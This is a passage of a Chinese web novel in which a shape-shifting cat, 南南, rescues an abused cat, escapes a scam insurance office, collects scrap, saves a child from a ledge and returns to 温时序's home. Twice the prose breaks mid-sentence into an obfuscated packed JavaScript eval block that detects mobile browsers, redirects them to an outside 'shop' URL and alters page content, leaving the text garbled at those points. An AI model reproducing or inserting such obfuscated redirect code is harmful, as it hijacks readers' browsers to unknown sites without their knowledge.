他想了很多种开场白,想着想着,又把自己想难过了。 他后知后觉地发现,他和温时序之间的感情从来都不对等。他是一只撒谎的猫,骗了人家那么久。他没资格自我感动地说要为温时序做什么,也没资格不让温时序去养别的猫。 南南盯着窗外渐渐暗下来的天色,鼻子又酸了。 可他忍住了。 开弓没有回头箭,既然决定要赚钱,就要坚持下去。至少以后哪怕温时序不要他了,他也可以好好活着。 他用力眨了眨眼,把最后一口栗子蛋糕塞进嘴里。 甜的。 南南从蛋糕店出来,天已经黑透了。 他加快脚步往宿舍走,那片巷子白天还好,晚上走起来总觉得阴森森的,路灯忽明忽暗,墙根的阴影里还有老鼠飞快溜过。 他低着头,几乎是半跑着往前赶。 马上要走出巷子的时候,岔道口传来一阵声响。他下意识偏头看了一眼,脚步猛地钉在原地。 有人在打一只猫。 那是一只瘦小的狸花猫,被逼在墙角无处可逃。棍子落下去,它发出一声惨叫,蜷缩成一团。那人骂骂咧咧地抬脚踹过去,猫被踢得翻了个身,又挣扎着往墙角缩。 南南浑身的血像是被抽干了。他僵在那里,手脚冰凉。那些以为早该淡忘的记忆重新涌上来,那些暴力,夹在他听不太懂的骂声里,让他绝望又无措。 他现在是人,可他止不住地感到恐惧。 他想跑开,又想冲上去制止,可他什么都做不了。 又是一声惨叫。 南南的指甲掐进掌心里,疼得他一激灵。 他最后还是冲了上去,连自己都不知道哪来的勇气。 他跑过去的时候,那人正抬起脚要再踹,南南一把将人推开,自己挡在猫前面。 “你谁啊?多管闲事?”那人被他推得趔趄两步,骂骂咧咧地瞪着他。 南南没说话,他蹲下来,把那只瑟瑟发抖的猫护在身后。猫缩成小小一团,喉咙里发出细弱的呜咽,爪子紧紧扒着地面。 那人又骂了几句,大概觉得没意思,也可能看南南那副不要命的样子有点怵,最后啐了一口,转身走了。 巷子里安静下来,南南这才敢回头去看那只猫。它蜷缩在他脚边,浑身发抖,却努力抬起头冲他叫了一声。 “喵。”细细软软,像是求救,又像是道谢。 南南蹲在那儿,和它对视了一会儿,然后他脱下外套,小心翼翼地把猫裹起来,抱进怀里。 猫没有挣扎,只是缩在他怀里发抖。 南南抱着它走了很久,找到一家还亮着灯的宠物店。他把猫放在店门口的台阶上,往后退到角落。他现在连自己都养不起,别说多一只猫了。 远远看着老板听见动静出来,弯腰把猫抱起来,左右张望了一圈,最后把猫抱进了店里。 他悬着的心终于放下了。 往回走的路上,南南发现自己的脚步轻得不可思议。整个人飘飘然的,像是踩在云上。 他救下了那只猫,可好像也不止救下了那只猫。 那些困住他很久很久的东西,让他痛苦发抖发抖的夜晚,好像也跟着那只猫一起,被留在了宠物店门口。 他救下的,还有困在过去的自己。 16. 越努力越心酸 经过一段时间的刻苦学习,南南对人类社会的事情也算有了初步认知,至少他开始痛惜自己以前花钱大手大脚,发誓将省吃俭用存下一笔巨款。 生活一成不变地过着,将近一个月,同事都陆陆续续接到单子,唯独他每次都跟客户谈崩,南南为自己的业绩操碎了心,李建明还是劝他可以的话最好去干别的。如果说南南一开始还有雄心壮志,现在也彻底歇了心思,连对着稿子卖保险都做不好,还能去干嘛? 他承认,温时序说得对,他就是一只笨猫。 不过他还是忍不住感叹,世界上还是有钱人多啊,他们家保险那么贵,却有那么多人愿意往这里砸钱,以后要是混不下去,干脆也让温时序卖保险算了。 靠自己努力还是有回报的,南南苦苦祈祷那么久,今天终于有人愿意跟他细聊,准备买下产品。挂掉电话的那一刻,南南欣喜若狂,差点从椅子上跳起来。随之而来又有了新的担忧,万一后续处理不好怎么办? 所幸客户说临时有事,晚点再打过来进一步沟通。南南松了一口气,决定这个空档去找人问问。 李建明不在位置上,估计又到茶水间摸鱼了。南南刚走到茶水间门口,就听见里面传来对话,是老板的声音,正在跟这个月单子最多的员工聊天。其实他不是故意偷听的,是他听力太好了。猫嘛,没办法啊。 起初对话还算正常,无非就是几句夸赞,再来一些老板专属大饼。南南刚来这里的时候还会沉浸在老板的未来展望中,被忽悠得无法自拔,现在跟李建明混久了颇有一番老油条的风范,听到这些只会默默无语。 他正准备推门进去,却听见那人张口道:“谁叫那些人蠢,那么好骗呢?” 南南一时没反应过来愣在原地,什么叫好骗? 怪不得李建明说在这里干的都是黑心肝的,原来根本不是正经的保险推销工作,全是骗人的勾当。 自己竟然也在这么个骗人的地方跟他们同流合污,南南想到这儿,恨不得框框捶墙。还好他还没跟客户签合同,至少自己没有骗到钱。 当然也不能让他们继续骗钱。 这个念头一出来,他当即冲回去自己的位置,抓起手机就给刚刚的客户拨回去,没管别人什么反应,电话一拨通就一股脑输出:“我不卖给你了,你也别买这家公司的东西,全部都是骗钱的!” 对面沉默了一下,把电话挂了。 南南的动静太大,早就吸引了所有人的目光,李建明在不远处满脸担忧地看着他,冲他摇了摇头。 刚出社会的人最不缺初生牛犊不怕虎的莽劲儿,何况南南满心满眼只有这件事对不对,并没有考虑拆穿骗局的后果。 他站起来,对着整个办公室的人喊道:“你们都是骗子,骗别人钱良心不会痛吗?” 没人在意他的话,甚至有人没忍住轻哧了一声,满是不屑。南南还想说什么,身后突然伸来一双手,熟练地把他往小黑房间的方向拽。大家并不关心他的正义感,只担心他跑出去报警。南南拼命挣扎,奈何力气太小,根本挣不开。 门被狠狠关上,把他锁了起来。 房间显然被刻意布置过,估计是想故意弄出点诡异氛围,让进去的人因为害怕不敢去举报他们。唯一的通风口只有墙边手臂宽的窗缝,月光从那里透入,除此之外再无光线。放在之前南南可能真的会应激,可之前的恐惧已经困不住他了,现在他早就不怕了。何况得益于猫的超强视力,他还细心地在床边找到一个袋子,把换下来的衣服装起来。 房间里一阵白光闪过,原本站着人的地方,被一只金渐层取而代之。南南甩了甩耳朵,仰头打量窗缝,刚刚好。 人,没想到咪可以钻出去吧? 南南得意地晃了晃脑袋,叼着衣服钻出窗户。 外面是城市的夜空,高楼的风吹得它的毛往后倒,南南低头看了眼,沿着窗沿小心翼翼走着,每一步都踩得很稳,找到落脚点慢慢跳下去,趁着月色扬长而去。 能跑出来就不错了,南南根本不奢求拿到那一个月的工资。可是白干一个月,还差点当上诈骗犯,一想到这儿,他就咬牙切齿地在心里给他们狠狠记上一笔。 等着吧,等安顿下来他就匿名举报,一个都别想跑。 不过眼下最要紧的是找个落脚的地方。出来的时候除了身上这套衣服,他什么都没带,手机钱包全落在了公司里。身上只有一些零钱,无处可去,他只能凭着记忆,又跑回刚开始睡过的那个桥洞。 这里平时根本没人会注意到,只有几只流浪猫偶尔来歇脚。上次他在这里变成人的时候,把那些猫全吓跑了。现在它们倒是都能认出他了,一闻到他的味道就远远躲开,不敢来招惹,南南乐得清净。 半夜的桥洞还是有些冷的,风吹进来,带着河水的湿气。他把自己变回猫,紧紧蜷成一团,又把衣服堆在身边围成一个圈,勉强挡住些风寒。 夜色里,一只小小的金渐层缩在衣服堆里,迷迷糊糊地睡了过去。 第二天醒来,南南做的第一件事就是数了数身上仅剩的钱。 数完他就沉默了,悲哀地发现只够吃几天的饭。 感觉自己可以收拾收拾去捡垃圾了。 流浪的时候他见过很多拾荒老人,靠着捡瓶子和纸皮去卖钱,他知道哪里的废品比较多,也知道哪家废品站给的钱更多。有钱比什么都强,南南没多纠结,说干就干。 不就是捡瓶子吗?能比卖保险还难? 很快他就被另一件悲伤的事冲击到了,他捡废品捡不过那些爷爷奶奶。 奇了怪了,猫的眼睛应该很灵啊,而且老人家动作也比不过他,怎么他捡半天,还不如同一条街上的人捡得多?他又不可能跟老人家抢,只能默默蹲在路边自闭。 不行,得换个思路。他决定跑远一点,先找个与世无争的地方,先捡些保底。 做猫的好处这时候就体现出来了。南南变回猫,“嗖”地跳上屋檐,居高临下扫视一圈,轻轻松松就看到了不远处有个被丢弃的瓶子,藏在垃圾桶后面,一般人根本注意不到。 没人发现。他飞快跳下去,叼起瓶子就跑。 来来回回几次,瓶子渐渐多了起来。叼着瓶子跑的时候,袋子总是晃来晃去碍事,严重限制了他的行动。他找了个隐蔽的角落,左顾右盼确定没人后,把瓶子全藏在这里,又挪了一块纸皮把瓶子盖住,这才满意地去其他地方继续搜刮。 等他再次回到这里,却手足无措地站在原地。 谁! 谁这么没有公德心!把咪的瓶子全偷走了,连纸皮都不放过! 地上干干净净,跟被洗劫过一样。 又白忙活一通,这让南南瞬间幻视在卖保险的时候,有种越努力越心酸的感觉。 人类真的没几个好东西啊! 他蔫头耷脑地继续往前走,捡东西也随性了很多。走着走着,看到路边一个老奶奶正弯腰捡瓶子,袋子里只有寥寥几个。南南犹豫了一下,把自己刚捡的几个瓶子递了过去。 老奶奶愣了愣,接过瓶子,笑眯眯地看着他:“哎哟,真是个好孩子啊。” 南南被夸得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467751|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕头转向,腰也不酸了,腿也不痛了,尾巴都想变出来摇两下。 嘿嘿,世界上还是好人多啊。 东奔西跑了一整天,南南拖着满满一袋子废品,满怀期待地去了废品站。 老板随手扒拉两下,报了个数:“二十。” 还没等南南有什么反应,老板又补了一句:“八毛零头就算了,凑个整。” “凭什么!”南南差点跳起来,“八毛也是钱啊!” 老板摆摆手,一副懒得跟他计较的样子:“就这些破瓶子,给你二十就不错了,年轻人不要太计较。” 南南张了张嘴,想反驳,又不知道从何说起。即使他在李建明身上学到很多,可确实说不过这些真正的老油条,最后只能悻悻地接过那两张皱巴巴的十块钱,吃下这个哑巴亏。 走在回桥洞的路上,他认真算了算,别说养温时序了,就是给温时序买一个栗子蛋糕,他都要不吃不喝捡好多天废品。 栗子蛋糕多少钱来着?上次去买的那家,好像要几百块? 南南裹紧身上的衣服,突然被路边一块不知道是谁扔在这儿的破镜子吸引了目光,上面正好能照见人影。 他凑过去一看,愣住了。 镜子里的人灰头土脸,头发乱糟糟地翘着,衣服跟着他上蹿下跳,袖口已经磨出了一个洞,脸上还有不知道什么时候蹭上的灰。 活脱脱一个小乞丐的模样 这模样莫名让他想起一张在网上看过的图:一个团子背着麻袋,配文是“我收废品养你啊”。当时他还觉得挺好笑的,现在…… 现在他也觉得挺好笑的。 南南没忍住笑出声,拿衣袖随便擦了擦脸,转身就往桥洞走,走着走着,嘴里开始哼起歌来。那是以前在温时序车上听过的,他只会两三句词,剩下的哼哼唧唧不成调子,但他哼得很起劲。 没关系。乐天派小猫,无人能打倒。 这边南南刚赚了二十块钱,转眼就花掉大半,给自己买了一份香喷喷的鸡腿饭。 他蹲在桥洞外面的台阶上,捧着盒饭吃得正香。南南眯起眼睛,趁没人把尾巴放出来,在身后愉悦地晃来晃去。 贵了点怎么了?能换来这么好吃的鸡腿饭,值了! 他吃得心满意足,完全不知道另一边,有人正茶饭不思。 温时序坐在餐厅,面前摆着一份动都没动过的晚餐。他的视线落在对面的猫身上,一只金渐层,正乖巧地窝在林见溪怀里,舔着爪子。 “你看,”林见溪把猫往他面前凑了凑,“毛色一样,品种一样,也是在附近捡到的,八九不离十就是你家那只吧?” 温时序没接话,只是盯着那只猫看了很久。 猫也看着他,金色的眼睛圆溜溜的,无辜又乖巧。 半晌,温时序收回视线,声音很淡,却很笃定:“这不是南南。” “你怎么知道?”林见溪不信,“猫不都长差不多吗?” 温时序没解释,南南不会这么乖。 他家那只猫,变成人之前是只傻猫,变成人之后是个傻子。会气急败坏地跳脚,在他面前毫无防备地露出肚皮睡觉,饿的时候理直气壮地扒拉他的裤腿要吃的。 而不是这样,安安静静地待着,等着被摸。 “送回去吧。”温时序站起身,往卧室走去,“这不是他。” 林见溪抱着猫,看着他的背影,小声嘀咕:“行吧,你说不是就不是。” 温时序关上房门,在黑暗里站了一会儿。 他家南南,到底跑哪儿去了? 17. 一个决定 其实对南南来说,捡废品还挺好玩的,以前是流浪猫的时候躲躲藏藏,只觉得这个世界走到哪里都很困难,现在以人的视角来看,一切都是那么新奇。 市场里有人扯着嗓子卖力吆喝,没来得及看清卖的是什么,刚出炉的包子香气扑面而来,转身时,洒水车恰好开过,路上出现一道小彩虹。 南南习惯性摸了摸右耳耳垂,这里已经感觉不到疼了。 前几天为了快点捡到好不容易发现的瓶子,仗着猫身体灵活,急头白脸往铁丝网那儿钻,哪知道有截铁丝露在外面,一下就勾住了耳朵。痛得它当时满地打滚,眼泪直掉,瓶子也不要了。虽然他可以变成人,但骨子里猫的思想和习惯还是没变,第一反应跑到角落打算给自己舔舔伤口,又发现舔不到,只能一直挠着耳朵,更难受了。 后来伤口止血,又慢慢开始结痂,南南才后知后觉反应过来自己应该去医院的。 不过已经结痂了,大概也不会出什么问题吧?南南就这样安慰自己,忍不住搓了搓耳垂,发现那里多了个洞,痒痒的,怕流血也不敢多碰。 之前没人要的一小块镜子被他带着,照了照觉得那个洞好丑,不过街上很多人耳朵都戴着亮晶晶的装饰,估计也是受伤后用来挡着伤口的,以后他也要买。 回忆到此结束,南南很快被别的东西吸引了注意力。 前面那块空地上,不知什么时候建出了一栋房子。他记得前段时间这儿还是一片荒地,今天路过,已经有人进进出出了。南南好奇地多站了一会儿,正琢磨这是干什么的,就看见有人提着个笼子走过来,里面有只猫。 那只猫一直在哈气,弓着背,尾巴紧紧夹着,看起来很不安。 南南几步上前拦住那人:“这只猫是你的吗?怎么看起来那么害怕啊?” 那人低头看了看笼子解释道:“不是我的,它受伤了,我正要送它去流浪动物救助站。” “救助站?”南南愣了一下。 “对啊,咱们市最近建了好多家呢,还有专门的工作人员去留意有没有受伤的动物。”那人想了想,又补了一句,“难怪人家温总能评上优秀企业家,这么有爱心。” 温总? 南南猛地眨了眨眼:“哪个温总?” “温时序啊。”那人已经往前走了一步,又回头随口说道,“不过有小道消息说,是因为他家猫丢了,不想自己的猫在外面受委屈。” 人已经进去了,南南还站在原地没动,旁边的人流来来往往,那些嘈杂声响好像一下子变得很远。 他突然好羡慕小美人鱼啊,眼泪可以变成珍珠,如果他的眼泪可以变成栗子蛋糕的话,他可能就是蛋糕大户了。南南被自己的想法逗笑,笑着笑着眼眶开始发酸,抬起手扯了扯手腕上的细绳,带出来的铭牌,他找了很久才找到配得上它的绳子。 其实温时序建救助站确实是有私心的,不过不是因为南南跑了。从他发现南南在外面回来不对劲开始,他就怀疑是不是被欺负了。他不知道发生了什么,但知道自己应该做些什么。 流浪动物站的想法就是那时有的。不止是这个,还有社区宣传、对虐猫行为的举报奖励机制之类的,他把能想到的都列了出来,交给下面的人去落实。 “温总,这个投入有点大。”助理小心翼翼地提醒。 “大就大。”他说。 那会儿全公司都知道温总养了只猫,宝贝得跟什么似的,有回出差三天,愣是盯了很久摄像头,就为了看看猫今天吃了几口饭。 但没人知道真正的原因。 温时序自己坐在办公室里,看着窗外。他想,如果南南真的在外面受了欺负,那他至少要让这个城市里,少一些让猫害怕的东西,多一份好好生活的保障。 哪怕南南以后可能也用不上这些。 南南在救助站待了一下午。 他原本只想在门口看一眼就走。可门口有只猫趴在那儿晒太阳,见了他,懒洋洋地喵了一声。南南鬼使神差地蹲下来,伸手摸了摸,然后就被工作人员看见了。 那姑娘笑得眼睛弯弯的:“要进来坐坐吗?今天人不算多,你可以看看我们平时怎么照顾它们的。” 南南就进去了。 他看见工作人员给一只瘸腿的狗换药,动作很轻,一边换一边哄,狗刚开始还哆嗦,后来就安静下来,舔了舔工作人员的手。 南南站在那儿看了很久,心异常平静。 那种静很奇怪。像是他第一次变成人那天,坐在地上沉默良久,知道自己从此不一样了,但又不害怕的那种静。也像是他以前流浪的时候,好不容易找到一个避风的角落,把自己缩进去,知道这一晚可以安心睡的那种静。 他不记得自己有多久没有这种感觉了。 从救助站出来的时候,天已经快黑了。南南站在门口,回头又看了一眼那栋房子。 他做了一个决定。 他要回家。不去纠结能不能赚钱,不去想自己能不能在人类社会立足,就这样让温时序养他一辈子,好像也不错。 他想象了一下那个画面:每天有吃的喝的,还能钻进那个人的被窝里…… 南南忍不住弯了弯嘴角。 然后嘴角就僵住了。 等一下,他悄无声息地跑了,现在又一声不吭地回去。 温时序会怎么对他?说不定会先骂他一顿,然后捏着他的后颈皮教育他。 南南站在原地,表情逐渐变得愁眉苦脸。怎么一只猫还能有这么多烦恼啊? 南南把铭牌用力攥在手心里,深吸一口气。 算了,骂就骂吧,他无论如何都要赖着温时序了。 南南想得专注,不知不觉又绕回了闹市区。 前面围了一堆人,仰着脖子往上看,议论纷纷。他脚步一顿,挤了进去。顺着大家的目光往上一看,心里咯噔一下。 楼上有个小孩爬出了窗户栏杆,站在外面一个很窄的平台上,小孩贴着墙根,哭得一抽一抽的,身子直抖,下面的人都倒吸一口凉气。 他还把家门锁死了,邻居想进去也进不去,消防员和警察在来的路上,但谁都不知道小朋友可以坚持多久。 南南掂量了下自己的体重,咬咬牙开始爬上去, 人群里有人惊呼了一声,随后所有人都安静下来,屏住呼吸看着那个少年往上爬。 南南爬得很快,当猫时的本事,变成人之后有点生疏,但也够用了。他脑子里什么都没想,不敢往下看,一直往上爬。爬到小孩面前的时候,那孩子连哭都忘了,张着嘴愣愣地看着他。 “别怕。”南南喘着气,声音压得很低,“我抱你回去。” 小孩还没来得及反应,南南已经用力撑了一把,翻上了平台。他一手揽住小孩,一手扶着墙,慢慢往回挪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467752|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他抱着小孩翻进去的时候,楼下爆发出一阵欢呼。 南南把小孩放下来,小孩还在发愣,他揉了揉那孩子的脑袋,没说一句话,转身就往楼下跑。 他不想被人围观,却没发现楼下无数部手机对着他猛拍,在互联网上疯狂传播,不多时就上了热搜。 温时序开完会出来,习惯性地打开手机准备看看有没有南南的消息。 消息还没发,弹窗先跳了出来: 【少年英雄勇攀高楼救下小孩,深藏功与名,为你点赞!】 温时序没心情看这个,正想划走,手指不小心点到了。 页面跳转,视频开始播放。 他本来只是随意瞟一眼,准备下一秒就退出去。 然后整个人定住了。 他一眼认出镜头聚焦下的少年,是他心心念念的南南。看着他抱着小孩从那么窄的地方跨过去,温时序大气都不敢喘,直到确认他的安全,才松了口气,连忙去那一片找人。 南南一口气跑回了桥底,气喘吁吁地站在自己那个临时小窝前面,收拾自己为数不多的行李。 他在那块石头上坐了一会儿,缓了缓气。刚才爬楼的时候他没感觉,现在想想才有点后怕。那个平台真的太窄了,他抱着小孩往回走的时候,能感觉到自己的脚在抖。万一踩空了,就再也见不到温时序了。 那可不行。 南南站起来,摇摇头把这些想法甩出去,大步往桥洞外走。 两个人往相反的方向赶着,心里惦记着对方,却谁都没有碰到对方。 这个季节的雨来得又急又凶,磨蹭一会儿雨突然就开始下了。南南也没管,中途折返回去买了个小蛋糕,他觉得温时序会生他的气,所以打算以人的身份去见温时序,再买一个小蛋糕希望可以哄到温时序。小蛋糕的钱是他捡瓶子捡来的,不是之前温时序给的。 等他终于站在那片熟悉的别墅区门口时,浑身上下已经没有一处干的地方,雨水顺着头发往下淌,淌进眼睛里,他眨了眨,没擦。 他把怀里的蛋糕拿出来看了看,包装盒有点皱了,但里面应该还好。 南南站在雨里,看着那条熟悉的通往温时序家的路。 他以猫的视角来过很多次,但这是第一次,他用人的脚,自己走进去。 南南停在家门前,想到自己要面对什么,他多少有点紧张,还好一路上给自己做足了心理准备。 “叮咚——” 温时序回到家的时候,已经很晚了。 刚才一路找过去的时候,心里憋着一股劲,总觉得再往前走两步就能看见那个熟悉的身影。现在那股劲散了,只剩下说不清的疲惫。 手里还提着林见溪硬塞给他的生日蛋糕,没来得及放下,他还以为自己有东西落车里,司机给他送回来,毫无防备地开门。 于是他猝不及防对上一双充满忐忑的眼睛,南南浑身湿透,头发滴着水,大码的衬衫沾在皮肤上,双手捧着一个栗子蛋糕,动作甚至称得上虔诚。 温时序手里提着的蛋糕掉了下去,包装盒落在玄关地上,发出一声闷响。 雨还在下,温时序站在门里,南南站在门外。 他们之间隔着一道门槛,和将近一个月的时间。 南南开口了,声音有点抖,但努力装得很镇定: “你好,请问可以收留一下我吗?”